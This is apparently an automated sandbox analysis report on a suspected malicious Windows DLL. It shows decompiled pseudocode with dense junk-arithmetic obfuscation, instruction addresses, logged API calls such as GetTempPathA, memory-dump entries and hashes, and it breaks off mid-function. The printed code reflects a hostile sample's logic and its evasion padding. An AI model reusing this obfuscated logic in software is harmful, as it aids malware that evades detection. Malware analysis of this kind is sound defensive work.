						_t188 = _t283 - 0xb401; // 0x36cce634
						 *0x6e1bb000 = _t373 + _t188 +  *0x6e1bb000 +  *0x6e1bb000;
						_t374 =  *0x6e1bb004; // 0x36cd9a35
						 *0x6e1bb000 = _t374 - _v48 * 0x2f;
						_t476 = _v48 - 0x48 -  *0x6e1bb004 +  *0x6e1bb000;
						__eflags = _t476;
						 *0x6e1bb000 = _t476;
					} else {
						_t376 = _v80;
						__eflags =  *((intOrPtr*)(_t376 + 0x6e1bb050)) - _v136;
						if( *((intOrPtr*)(_t376 + 0x6e1bb050)) <= _v136) {
							goto L46;
						}
					}
				}
				E6E16B840(_v48); // executed
				__eflags =  *((intOrPtr*)(0x6e1bb024)) -  *0x6e1bb000; // 0x5a2
				if(__eflags <= 0) {
					_t460 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6ED68BBD = _t460;
					_t280 =  *0x6e1bb0d8; // 0xf2b6e6
					_t369 =  *0x6e1bb000; // 0x5a2
					_t195 = _t280 - 0xb401; // -44639
					_v48 = _t369 + _t195 + _v48 + _v48;
					_t370 =  *0x6e1bb000; // 0x5a2
					_v48 = _t370 -  *0x6e1bb0d8 * 0x2f;
					_t464 =  *0x6e1bb0d8; // 0xf2b6e6
					_t467 = _t464 - 0x48 -  *0x6e1bb000 + _v48;
					__eflags = _t467;
					_v48 = _t467;
				}
				 *0x6e1bb0d8 =  *0x6e1bb000 * 0x268e +  *0x6e1bb0d8;
				_t359 =  *0x6e1bb0d8; // 0xf2b6e6
				_v48 = _t359 + 1 - _v60;
				_v96 = 1;
				_v8 = 0xffffffff;
				E6E16A720();
				 *[fs:0x0] = _v16;
				__eflags = _v20 ^ _t513;
				return E6E173D51(_v20 ^ _t513);
			}

0x6e167ca0
0x6e167ca0
0x6e167ca0
0x6e167ca3
0x6e167ca5
0x6e167cb0
0x6e167cb4
0x6e167cb9
0x6e167cbb
0x6e167cbe
0x6e167cbf
0x6e167cc3
0x6e167cc9
0x6e167cd0
0x6e167cd5
0x6e167cdb
0x6e167ce9
0x6e167ceb
0x6e167d00
0x6e167d05
0x6e167d08
0x6e167d0d
0x6e167d11
0x6e167d19
0x6e167d1f
0x6e167d2c
0x6e167d32
0x6e167d3b
0x6e167d41
0x6e167d47
0x6e167d4c
0x6e167d4e
0x6e167d56
0x6e167d65
0x6e167d6a
0x6e167d83
0x6e167d9d
0x6e167da0
0x6e167da3
0x6e167da9
0x6e167db2
0x6e167dc4
0x6e167dc4
0x6e167dcc
0x6e167dd2
0x6e167de9
0x6e167dee
0x6e167dfd
0x6e167e00
0x6e167e0c
0x6e167e0f
0x6e167e12
0x6e167e15
0x6e167e1b
0x6e167e1e
0x6e167e24
0x6e167e36
0x00000000
0x6e167e26
0x6e167e26
0x6e167e2c
0x6e167e32
0x00000000
0x00000000
0x6e167e34
0x6e167e32
0x6e167db4
0x6e167db7
0x6e167dc0
0x00000000
0x6e167dc2
0x6e167d76
0x6e167d76
0x6e167d7e
0x00000000
0x6e167d7e
0x6e167dc0
0x00000000
0x6e167db2
0x6e167e3b
0x6e167e48
0x6e167e4e
0x6e167e51
0x6e167e62
0x6e167e65
0x6e167e68
0x6e167e79
0x6e167e7c
0x6e167e9b
0x6e167ea0
0x6e167ed2
0x6e167ee1
0x6e167ee7
0x6e167eec
0x6e167ef2
0x6e167efc
0x6e167efc
0x6e167eff
0x6e167ea2
0x6e167ea2
0x6e167eaf
0x6e167eb4
0x6e167ec6
0x6e167ec6
0x6e167f02
0x6e167f1b
0x6e167f1b
0x6e167f22
0x00000000
0x00000000
0x6e167f2c
0x6e167f32
0x6e167f38
0x6e167f3c
0x6e167f4c
0x6e167f5b
0x6e167f6c
0x6e167f72
0x00000000
0x00000000
0x6e167f74
0x6e167f3a
0x6e167f0e
0x6e167f0e
0x6e167f13
0x6e167f13
0x6e167f16
0x00000000
0x6e167f16
0x00000000
0x6e167f38
0x6e167f86
0x6e167f89
0x6e167f98
0x6e167fac
0x6e167fb2
0x6e167fcd
0x6e167fcd
0x6e167fd4
0x00000000
0x00000000
0x6e167fde
0x6e167fe3
0x6e167fe9
0x6e167fed
0x6e167ffe
0x6e16800a
0x6e16801a
0x6e168020
0x00000000
0x00000000
0x6e168022
0x6e167feb
0x6e167fbe
0x6e167fbe
0x6e167fc4
0x6e167fc4
0x6e167fc7
0x00000000
0x6e167fc7
0x00000000
0x6e167fe9
0x6e168026
0x6e16802e
0x6e168031
0x6e168037
0x6e16803a
0x6e16803c
0x6e168046
0x6e16804f
0x6e168070
0x6e16807a
0x6e16808c
0x6e16808c
0x6e16808f
0x6e16803e
0x6e168041
0x6e168044
0x00000000
0x00000000
0x6e168044
0x6e16803c
0x6e168097
0x6e1680a4
0x6e1680a9
0x6e1680b4
0x6e1680bc
0x6e1680ce
0x6e1680da
0x6e1680df
0x6e1680e5
0x6e1680ea
0x6e1680f8
0x6e1680fa
0x6e168100
0x6e16810f
0x6e168114
0x6e168127
0x6e16812a
0x6e16812d
0x6e168138
0x6e168149
0x6e16814f
0x6e16815d
0x6e168160
0x6e16816f
0x6e168174
0x6e168177
0x6e16817c
0x6e168180
0x6e168188
0x6e16819c
0x6e16819f
0x6e1681a3
0x6e1681a7
0x6e1681ac
0x6e1681b2
0x6e1681bf
0x6e1681a5
0x6e1681c4
0x6e1681cc
0x6e1681cc
0x6e1681d2
0x6e1681d2
0x6e1681dc
0x6e1681e6
0x6e1681e9
0x6e1681ec
0x6e1681ef
0x6e1681f5
0x6e1681fb
0x6e1681fe
0x6e168223
0x6e168229
0x6e16822c
0x6e16822f
0x6e168236
0x6e168263
0x6e168276
0x6e16827c
0x6e168294
0x6e168297
0x6e168297
0x6e16829a
0x6e16829d
0x6e1682a0
0x6e168238
0x6e168238
0x6e16823c
0x00000000
0x6e16823e
0x6e168247
0x6e168258
0x6e16825b
0x6e16825e
0x6e16825e
0x6e16823c
0x6e1682a3
0x6e1682b1
0x6e1682be
0x6e1682c8
0x6e1682dd
0x6e1682e0
0x6e1682e3
0x6e1682ec
0x6e1682ec
0x6e1682ef
0x6e1682ef
0x6e1682fe
0x6e168305
0x6e168312
0x6e168319
0x6e16831c
0x6e168322
0x6e16832e
0x6e168331
0x6e168333
0x6e168346
0x6e168352
0x6e168358
0x6e16835e
0x6e168361
0x6e168367
0x6e16837a
0x6e168384
0x6e16838c
0x6e16839e
0x6e16839e
0x6e1683a4
0x6e168335
0x6e168335
0x6e16833e
0x6e168344
0x00000000
0x00000000
0x6e168344
0x6e168333
0x6e1683ae
0x6e1683c4
0x6e1683ca
0x6e1683d3
0x6e1683d9
0x6e1683df
0x6e1683e4
0x6e1683ea
0x6e1683f7
0x6e168401
0x6e168409
0x6e16840c
0x6e16841b
0x6e16841b
0x6e16841e
0x6e16841e
0x6e168431
0x6e168436
0x6e168442
0x6e168445
0x6e16844c
0x6e168456
0x6e168461
0x6e16846d
0x6e168477

APIs

GetCurrentDirectoryA.KERNEL32(0000070B,?,?,?,00000000), ref: 6E167D5F
GetEnvironmentVariableA.KERNELBASE(word ,?,0000070B,?,?,?,?,00000000), ref: 6E167FAC
SetConsoleCP.KERNEL32(00000000,?,?,?,?,00000000), ref: 6E168097

Strings

word , xrefs: 6E167FA7

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleCurrentDirectoryEnvironmentVariable
String ID: word
API String ID: 575343565-2199854786
Opcode ID: f40494e262e6101e5055a658b8e792b71450780887df1b80510a22e384188c9e
Instruction ID: f7bdeb24453f8369a53b820585b4f0ad40dcd48138ede1e8c02485e404aa5d89
Opcode Fuzzy Hash: f40494e262e6101e5055a658b8e792b71450780887df1b80510a22e384188c9e
Instruction Fuzzy Hash: 4D42C371D046089FCB18CFACD5D0AADBBB2FF89304B60C129E525A7B89E7306945EB54

Uniqueness

Uniqueness Score: -1.00%

Function 6E16B840, Relevance: 7.3, APIs: 1, Strings: 2, Instructions: 2034
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E6E16B840(signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v33;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				CHAR* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v96;
				signed int _v100;
				intOrPtr _v104;
				signed int _v108;
				intOrPtr _v112;
				signed int _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				intOrPtr _v136;
				signed int _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				signed int _v156;
				signed int _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				intOrPtr _v172;
				signed int _v176;
				signed int _v180;
				intOrPtr _v184;
				signed int _v188;
				intOrPtr _v192;
				signed int _v196;
				intOrPtr _v200;
				signed int _v204;
				intOrPtr _v208;
				signed int _v212;
				intOrPtr _v216;
				signed int _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				signed int _v232;
				void* __esi;
				void* __ebp;
				signed int _t418;
				signed int _t425;
				signed int _t427;
				signed int _t428;
				signed int _t429;
				signed int _t432;
				CHAR* _t440;
				signed int _t441;
				long _t442;
				signed int _t443;
				signed int _t446;
				void* _t447;
				signed int _t451;
				signed int _t452;
				signed int _t453;
				signed int _t465;
				void* _t472;
				signed int _t474;
				signed int _t478;
				signed int _t480;
				signed int _t495;
				signed int _t500;
				signed int _t503;
				signed int _t505;
				void* _t506;
				signed int _t507;
				signed int _t510;
				signed int _t516;
				signed int _t518;
				signed int _t519;
				signed int _t523;
				signed int _t537;
				signed int _t538;
				signed int _t544;
				signed int _t546;
				signed int _t552;
				signed int _t557;
				signed int _t558;
				signed int _t560;
				signed int _t571;
				signed int _t572;
				void* _t573;
				signed int _t574;
				signed int _t577;
				signed int _t581;
				signed int _t597;
				signed int _t618;
				void* _t620;
				signed int _t625;
				signed int _t627;
				signed int _t631;
				signed int _t633;
				signed int _t634;
				signed int _t636;
				void* _t638;
				signed int _t640;
				signed int _t648;
				signed int _t651;
				signed int _t653;
				signed int _t657;
				signed int _t661;
				signed int _t662;
				signed int _t663;
				signed int _t668;
				signed int _t670;
				signed int _t686;
				signed int _t687;
				signed int _t705;
				signed int _t710;
				intOrPtr _t711;
				signed int _t712;
				signed int _t714;
				void* _t718;
				signed int _t720;
				signed int _t724;
				signed int _t725;
				void* _t726;
				signed int _t731;
				signed int _t741;
				signed int _t742;
				signed int _t747;
				signed int _t753;
				signed int _t754;
				signed int _t755;
				void* _t758;
				signed int _t760;
				void* _t761;
				signed int _t763;
				signed int _t767;
				signed int _t769;
				void* _t770;
				signed int _t772;
				signed int _t777;
				signed int _t780;
				signed int _t781;
				signed int _t786;
				signed int _t787;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t793;
				signed int _t798;
				signed int _t801;
				signed int _t805;
				signed int _t807;
				signed int _t812;
				signed int _t819;
				signed int _t824;
				signed int _t828;
				signed int _t830;
				signed int _t836;
				signed int _t840;
				signed int _t846;
				signed int _t847;
				signed int _t854;
				signed int _t857;
				signed int _t861;
				signed int _t866;
				signed int _t868;
				signed int _t870;
				signed int _t879;
				signed int _t884;
				signed int _t887;
				signed int _t888;
				signed int _t889;
				signed int _t890;
				signed int _t892;
				signed int _t894;
				signed int _t898;
				signed int _t900;
				signed int _t903;
				signed int _t905;
				signed int _t908;
				signed int _t910;
				signed int _t917;
				signed int _t918;
				signed int _t926;
				signed int _t928;
				signed int _t936;
				signed int _t940;
				signed int _t942;
				signed int _t946;
				signed int _t947;
				signed int _t948;
				signed int _t951;
				signed int _t954;
				signed int _t956;
				signed int _t971;
				signed int _t972;
				signed int _t979;
				signed int _t981;
				signed int _t986;
				signed int _t991;
				signed int _t992;
				signed int _t993;
				signed int _t996;
				signed int _t1005;
				signed int _t1018;
				signed int _t1028;
				signed char _t1030;
				signed int _t1033;
				signed int _t1043;
				signed int _t1046;
				signed int _t1048;
				signed int _t1050;
				signed int _t1055;
				signed int _t1059;
				signed int _t1062;
				signed char _t1064;
				signed int _t1067;
				signed int _t1074;
				signed int _t1078;
				signed int _t1083;
				signed char _t1085;
				signed int _t1086;
				signed int _t1087;
				signed int _t1089;
				signed int _t1092;
				signed int _t1098;
				signed int _t1099;
				signed int _t1103;
				signed int _t1106;
				signed int _t1111;
				signed int _t1113;
				signed int _t1121;
				signed int _t1125;
				signed int _t1128;
				signed int _t1133;
				signed int _t1141;
				signed int _t1145;
				signed char _t1147;
				signed int _t1151;
				signed int _t1153;
				signed int _t1156;
				signed int _t1160;
				signed int _t1163;
				signed char _t1165;
				signed int _t1170;
				signed int _t1174;
				signed int _t1178;
				signed int _t1184;
				signed int _t1190;
				signed int _t1195;
				signed int _t1201;
				signed int _t1208;
				signed int _t1215;
				signed int _t1227;
				signed int _t1232;
				signed int _t1241;
				signed int _t1248;
				signed int _t1251;
				signed int _t1252;
				signed int _t1253;
				signed int _t1256;
				signed int _t1257;
				signed int _t1262;
				signed int _t1264;
				signed int _t1265;
				signed int _t1266;
				signed int _t1272;
				signed int _t1284;
				signed int _t1285;
				signed int _t1291;
				signed int _t1292;
				signed int _t1293;
				signed int _t1302;
				signed int _t1303;
				signed int _t1307;
				signed int _t1309;
				signed int _t1321;
				signed int _t1322;
				signed int _t1324;
				signed int _t1327;
				signed int _t1329;
				signed int _t1330;
				signed char _t1332;
				signed int _t1333;
				signed int _t1337;
				signed int _t1339;
				signed int _t1343;
				signed char _t1345;
				void* _t1351;
				signed int _t1356;
				signed int _t1361;
				signed int _t1363;
				signed int _t1370;
				signed int _t1371;
				signed int _t1384;
				signed int _t1385;
				intOrPtr _t1386;
				signed int _t1392;
				signed int _t1393;
				signed int _t1396;
				signed int _t1403;
				signed int _t1404;
				signed int _t1411;
				signed int _t1417;
				signed int _t1421;
				signed int _t1423;
				signed int _t1426;
				signed int _t1437;
				signed int _t1439;
				signed int _t1443;
				signed int _t1444;
				signed int _t1446;
				signed int _t1449;
				signed int _t1450;
				signed int _t1456;
				signed int _t1459;
				void* _t1467;
				signed int _t1471;
				signed int _t1475;
				signed int _t1481;
				signed int _t1483;
				signed int _t1484;
				signed int _t1495;
				signed int _t1497;
				intOrPtr _t1498;
				signed int _t1499;
				signed int _t1500;
				signed int _t1503;
				signed int _t1504;
				signed int _t1505;
				signed int _t1506;
				signed int _t1509;
				signed int _t1510;
				signed int _t1512;
				signed int _t1515;
				signed int _t1518;
				signed int _t1524;
				signed int _t1532;
				signed int _t1533;
				signed int _t1537;
				signed int _t1538;
				signed int _t1543;
				signed int _t1544;
				signed int _t1547;
				signed int _t1550;
				signed int _t1553;
				signed int _t1560;
				signed int _t1563;
				signed int _t1566;
				signed int _t1568;
				signed int _t1572;
				signed int _t1574;
				signed int _t1575;
				signed int _t1579;
				signed int _t1584;
				signed int _t1588;
				signed int _t1593;
				signed int _t1599;
				signed int _t1604;
				signed int _t1608;
				signed int _t1616;
				signed int _t1621;
				signed int _t1628;
				signed int _t1633;
				signed int _t1635;
				signed int _t1637;
				signed int _t1639;
				signed int _t1641;
				signed int _t1643;
				void* _t1647;
				void* _t1648;
				void* _t1650;
				void* _t1651;
				void* _t1652;
				void* _t1654;
				void* _t1655;
				void* _t1661;
				void* _t1666;
				void* _t1667;
				void* _t1669;
				signed int _t1670;
				void* _t1671;
				void* _t1674;
				void* _t1676;

				_v8 = 0x221f;
				_v12 = 0;
				_v20 = 0;
				 *0x6e1bb0d4 = _a4 * 0x268e + ( *0x6e1bb0d4 & 0x000000ff);
				_t418 =  *0x6e1bb00c; // 0x0
				_t1654 = _t418 -  *0x6e1bb00c; // 0x0
				if(_t1654 >= 0) {
					if(_t1654 > 0) {
						L3:
						_t1616 =  *0x6e1bb008; // 0x58226284
						_t854 =  *0x6e1bb00c; // 0x0
						asm("adc eax, 0x0");
						asm("sbb eax, ecx");
						 *0x6e1bb008 = _t1616 + 5 -  *0x6e1bb0d8;
						 *0x6e1bb00c = _t854;
						 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb0d8;
						_t1621 =  *0x6e1bb008; // 0x58226284
						_t857 =  *0x6e1bb00c; // 0x0
						asm("adc eax, 0x0");
						asm("sbb eax, ecx");
						 *0x6e1bb008 = _t1621 + 5 -  *0x6e1bb0d8;
						 *0x6e1bb00c = _t857;
					} else {
						_t1241 =  *0x6e1bb008; // 0x58226284
						_t1655 = _t1241 -  *0x6e1bb008; // 0x58226284
						if(_t1655 >= 0) {
							goto L3;
						}
					}
				}
				_v40 = 0x88;
				if( *((intOrPtr*)(_v40 + 0x6e1bb050)) == 0x170c &&  *((intOrPtr*)(_v40 + 0x6e1bb054)) == 0) {
					asm("cdq");
					 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6E1BB078;
					_v8 = ( *0x6e1bb0d4 & 0x000000ff) + 1 - ( *0x6e1bb0d4 & 0x000000ff);
				}
				_t861 =  *0x6e1bb0d8; // 0xf2b6e6
				 *0x6e1bb0d8 = _t861 +  *0x6e1bb008 +  *0x6e1bb0d0;
				if( *0x6E1BB048 +  *0x6ED68BBD != 0x2af) {
					_t866 =  *0x6e1bb000; // 0x5a2
					 *0x6E1BB010 = _t866 -  *0x6e1bb0d8 * 0x2f;
					_t868 =  *0x6e1bb0d8; // 0xf2b6e6
					_t1248 =  *0x6e1bb0d8; // 0xf2b6e6
					_t18 = _t868 - 0xb401; // 0xf202e5
					asm("adc ecx, [0x6e1bb00c]");
					_t425 = _t1248 + _t18 +  *0x6e1bb008 +  *0x6e1bb008;
					__eflags = _t425;
					asm("adc ecx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t425;
					 *0x6e1bb00c = 0;
				} else {
					_t847 =  *0x6e1bb008; // 0x58226284
					 *0x6e1bb0d8 = _t847 - 0x18 +  *0x6e1bb0d8;
					_t1232 =  *0x6e1bb0d8; // 0xf2b6e6
					asm("adc edx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t1232 - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
					 *0x6e1bb00c = 0;
				}
				 *0x6e1bbf80 = 0x6e1bd308;
				_v8 = _a4 * 0x268e + (_v8 & 0x0000ffff);
				_t870 =  *0x6e1bb0d0; // 0xba22623c
				 *0x6e1bb0d4 = _t870 - 0x18 +  *0x6e1bb008;
				_t1251 =  *0x6e1bb0d0; // 0xba22623c
				_t427 = E6E166B70(_t1251);
				_t1648 = _t1647 + 4;
				_v8 = _t427;
				_t428 =  *0x6e1bb0d8; // 0xf2b6e6
				_v92 = _t428;
				_v88 = 0;
				_t1252 =  *0x6e1bb00c; // 0x0
				_t1661 = _t1252 - _v88;
				if(_t1661 >= 0) {
					if(_t1661 > 0) {
						L13:
						_t1227 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t1227 + 5 -  *0x6e1bb000;
						 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb000;
						_t1608 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t1608 + 5 -  *0x6e1bb000;
					} else {
						_t846 =  *0x6e1bb008; // 0x58226284
						if(_t846 >= _v92) {
							goto L13;
						}
					}
				}
				_t429 =  *0x6e1bb0d8; // 0xf2b6e6
				asm("adc ecx, [0x6e1bb00c]");
				_t1253 =  *0x6e1bb008; // 0x58226284
				_t432 =  *0x6e1bb00c; // 0x0
				asm("sbb eax, ecx");
				 *0x6e1bb008 = _t1253 - _t429 + 2 +  *0x6e1bb008;
				 *0x6e1bb00c = _t432;
				_v56 = 0x6e191250;
				asm("cdq");
				 *0x6e1bb0d0 = ( *0x6e1bb0d4 & 0x000000ff) + 1 -  *0x6e1bb008;
				 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb0d0 +  *0x6e1bb008;
				if( *0x6E1BB024 <= (_v8 & 0x0000ffff)) {
					_t836 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6ED68BBD = _t836;
					_t1604 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb0d0 = (_v8 & 0x0000ffff) + _t1604 - 0xb401 +  *0x6e1bb0d0 +  *0x6e1bb0d0;
					 *0x6e1bb0d0 = (_v8 & 0x0000ffff) -  *0x6e1bb0d8 * 0x2f;
					_t840 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb0d0 = _t840 - 0x48 - (_v8 & 0x0000ffff) +  *0x6e1bb0d0;
				}
				_t1256 =  *0x6e1bb0d0; // 0xba22623c
				_v8 = E6E1666C0(_t1256);
				asm("cdq");
				_t879 =  *0x6e1bb008; // 0x58226284
				 *0x6e1bb0d0 = _t879 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f;
				_push(0x70b);
				_t440 = E6E178999(_t879 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f);
				_t1650 = _t1648 + 8;
				_v52 = _t440;
				_t1257 =  *0x6e1bb008; // 0x58226284
				_t441 =  *0x6e1bb00c; // 0x0
				asm("sbb eax, 0x0");
				asm("adc eax, ecx");
				 *0x6e1bb008 = _t1257 - 0x18 +  *0x6e1bb0d8;
				 *0x6e1bb00c = _t441;
				_t442 = GetTempPathA(0x70b, _v52); // executed
				_v8 = _t442;
				_t443 =  *0x6e1bb000; // 0x5a2
				_v100 = _t443;
				_v96 = 0;
				_t1666 = _v96 -  *0x6e1bb00c; // 0x0
				if(_t1666 >= 0) {
					if(_t1666 > 0) {
						L19:
						_t1215 =  *0x6e1bb000; // 0x5a2
						 *0x6e1bb008 = _t1215 + 5 - (_v8 & 0x0000ffff);
						 *0x6e1bb00c = 0;
						asm("cdq");
						asm("sbb eax, edx");
						 *0x6E1BB058 =  *0x6ED68BFD - (_v8 & 0x0000ffff);
						_t1599 =  *0x6e1bb000; // 0x5a2
						 *0x6e1bb008 = _t1599 + 5 - (_v8 & 0x0000ffff);
						 *0x6e1bb00c = 0;
					} else {
						_t1667 = _v100 -  *0x6e1bb008; // 0x58226284
						if(_t1667 >= 0) {
							goto L19;
						}
					}
				}
				_t1262 =  *0x6e1bb0d0; // 0xba22623c
				_t1669 = _t1262 -  *0x6e1bb0d8; // 0xf2b6e6
				if(_t1669 >= 0) {
					_t824 =  *0x6e1bb0d0; // 0xba22623c
					 *0x6e1bb0d8 = _t824 + 5 - (_v8 & 0x0000ffff);
					 *0x6ED68BBD =  *0x6ED68BBD - (_v8 & 0x0000ffff);
					_t828 =  *0x6e1bb0d0; // 0xba22623c
					_t830 = _t828 + 5 - (_v8 & 0x0000ffff);
					_t1670 = _t830;
					 *0x6e1bb0d8 = _t830;
				}
				_t1264 =  *0x6e1bb0d0; // 0xba22623c
				E6E16F690(_t1670, _t1264, _v8 & 0x0000ffff,  *0x6e1bbf80, _v56, 0x498b);
				_t1651 = _t1650 + 0x14;
				_t446 =  *0x6e1bb00c; // 0x0
				_t884 =  *0x6e1bb008; // 0x58226284
				_t447 = E6E173D70(_t884, _t446, 0x268e, 0);
				asm("cdq");
				 *0x6e1bb0d4 = _t447 + ( *0x6e1bb0d4 & 0x000000ff);
				_t1265 =  *0x6e1bb0d8; // 0xf2b6e6
				_v108 = _t1265;
				_v104 = 0;
				_t887 =  *0x6e1bb00c; // 0x0
				_t1671 = _t887 - _v104;
				if(_t1671 >= 0) {
					if(_t1671 > 0) {
						L25:
						_t819 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t819 + 5 -  *0x6e1bb000;
						 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb000;
						_t1208 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t1208 + 5 -  *0x6e1bb000;
					} else {
						_t1593 =  *0x6e1bb008; // 0x58226284
						if(_t1593 >= _v108) {
							goto L25;
						}
					}
				}
				_t1266 =  *0x6e1bb0d8; // 0xf2b6e6
				asm("adc eax, [0x6e1bb00c]");
				asm("adc eax, [0x6e1bb00c]");
				asm("adc eax, [0x6e1bb00c]");
				 *0x6e1bb008 = _t1266 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb008 +  *0x6e1bb008;
				 *0x6e1bb00c = 0;
				_v20 = 0x147042e;
				_t888 =  *0x6e1bb0d0; // 0xba22623c
				_t1674 = _t888 -  *0x6e1bb0d8; // 0xf2b6e6
				if(_t1674 >= 0) {
					_t1584 =  *0x6e1bb0d0; // 0xba22623c
					 *0x6e1bb0d8 = _t1584 + 5 - (_v8 & 0x0000ffff);
					 *0x6ED68BBD =  *0x6ED68BBD - (_v8 & 0x0000ffff);
					_t1588 =  *0x6e1bb0d0; // 0xba22623c
					 *0x6e1bb0d8 = _t1588 + 5 - (_v8 & 0x0000ffff);
				}
				_t889 =  *0x6e1bb0d8; // 0xf2b6e6
				_v116 = _t889;
				_v112 = 0;
				_t451 =  *0x6e1bb00c; // 0x0
				_t1676 = _t451 - _v112;
				if(_t1676 >= 0) {
					if(_t1676 > 0) {
						L31:
						_t1579 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t1579 + 5 -  *0x6e1bb000;
						 *0x6ED68BBD =  *0x6ED68BBD -  *0x6e1bb000;
						_t812 =  *0x6e1bb008; // 0x58226284
						 *0x6e1bb0d8 = _t812 + 5 -  *0x6e1bb000;
					} else {
						_t1201 =  *0x6e1bb008; // 0x58226284
						if(_t1201 >= _v116) {
							goto L31;
						}
					}
				}
				_t890 =  *0x6e1bb0d0; // 0xba22623c
				_t452 = E6E1666C0(_t890);
				_t1652 = _t1651 + 4;
				_v8 = _t452;
				_t1272 =  *0x6e1bb008; // 0x58226284
				_t453 =  *0x6e1bb00c; // 0x0
				asm("sbb eax, 0x0");
				asm("adc eax, ecx");
				 *0x6e1bb008 = _t1272 - 0x18 +  *0x6e1bb0d8;
				 *0x6e1bb00c = _t453;
				asm("adc eax, [0x6e1bb00c]");
				 *0x6e1bb008 =  *0x6e1bb0d8 * 0x268e +  *0x6e1bb008;
				 *0x6e1bb00c = 0;
				asm("cdq");
				_t892 =  *0x6e1bb0d0; // 0xba22623c
				 *0x6e1bb0d0 = _t892 + ( *0x6e1bb0d4 & 0x000000ff) - 0x48 -  *0x6e1bb008;
				_v28 = 0xe;
				 *0x6e1bb0d4 = ( *0x6e1bb0d4 & 0x000000ff) +  *0x6e1bb000 +  *0x6e1bb008;
				_v32 = 0xb1;
				asm("cdq");
				_t894 =  *0x6e1bb008; // 0x58226284
				 *0x6e1bb000 = _t894 - ( *0x6e1bb0d4 & 0x000000ff) * 0x2f;
				if( *((intOrPtr*)(0x6e1bb048)) +  *0x6ED68BBD != 0x2af) {
					_t898 =  *0x6e1bb000; // 0x5a2
					 *((intOrPtr*)(0x6e1bb010)) = _t898 -  *0x6e1bb0d8 * 0x2f;
					_t900 =  *0x6e1bb0d8; // 0xf2b6e6
					_t1284 =  *0x6e1bb0d8; // 0xf2b6e6
					_t85 = _t900 - 0xb401; // 0xf202e5
					asm("adc ecx, [0x6e1bb00c]");
					_t465 = _t1284 + _t85 +  *0x6e1bb008 +  *0x6e1bb008;
					__eflags = _t465;
					asm("adc ecx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t465;
					 *0x6e1bb00c = 0;
				} else {
					_t807 =  *0x6e1bb008; // 0x58226284
					 *0x6e1bb0d8 = _t807 - 0x18 +  *0x6e1bb0d8;
					_t1195 =  *0x6e1bb0d8; // 0xf2b6e6
					asm("adc edx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t1195 - 0x48 -  *0x6e1bb000 +  *0x6e1bb008;
					 *0x6e1bb00c = 0;
				}
				_t1285 =  *0x6e1bb0d8; // 0xf2b6e6
				asm("adc eax, [0x6e1bb00c]");
				asm("adc eax, [0x6e1bb00c]");
				asm("adc eax, [0x6e1bb00c]");
				 *0x6e1bb008 = _t1285 - 0xb401 +  *0x6e1bb008 +  *0x6e1bb008 +  *0x6e1bb008;
				 *0x6e1bb00c = 0;
				_v24 = 0x76;
				_v16 = 0;
				_v60 =  *((intOrPtr*)(0x6e1bb058));
				if(_v60 == 1) {
					_t903 =  *0x6e1bb000; // 0x5a2
					_t1291 =  *0x6e1bb0d8; // 0xf2b6e6
					_t92 = _t903 - 0xb401; // 0xf202e5
					asm("adc ecx, [0x6e1bb00c]");
					asm("adc ecx, [0x6e1bb00c]");
					 *0x6e1bb008 = _t1291 + _t92 +  *0x6e1bb008 +  *0x6e1bb008;
					 *0x6e1bb00c = 0;
				} else {
					_t1575 =  *0x6e1bb0d8; // 0xf2b6e6
					 *0x6e1bb008 = _t1575 + 5 -  *0x6e1bb000;
					 *0x6e1bb00c = 0;
				}
				_t905 =  *0x6e1bb008; // 0x58226284
				_t1292 =  *0x6e1bb00c; // 0x0
				asm("adc edx, [0x6e1bb00c]");
				asm("adc edx, eax");
				 *0x6e1bb008 = _t905 +  *0x6e1bb008 +  *0x6e1bb0d8;
				 *0x6e1bb00c = _t1292;
				_v232 = 0;
				_v12 = 3;
				while(_v12 < 0x18) {
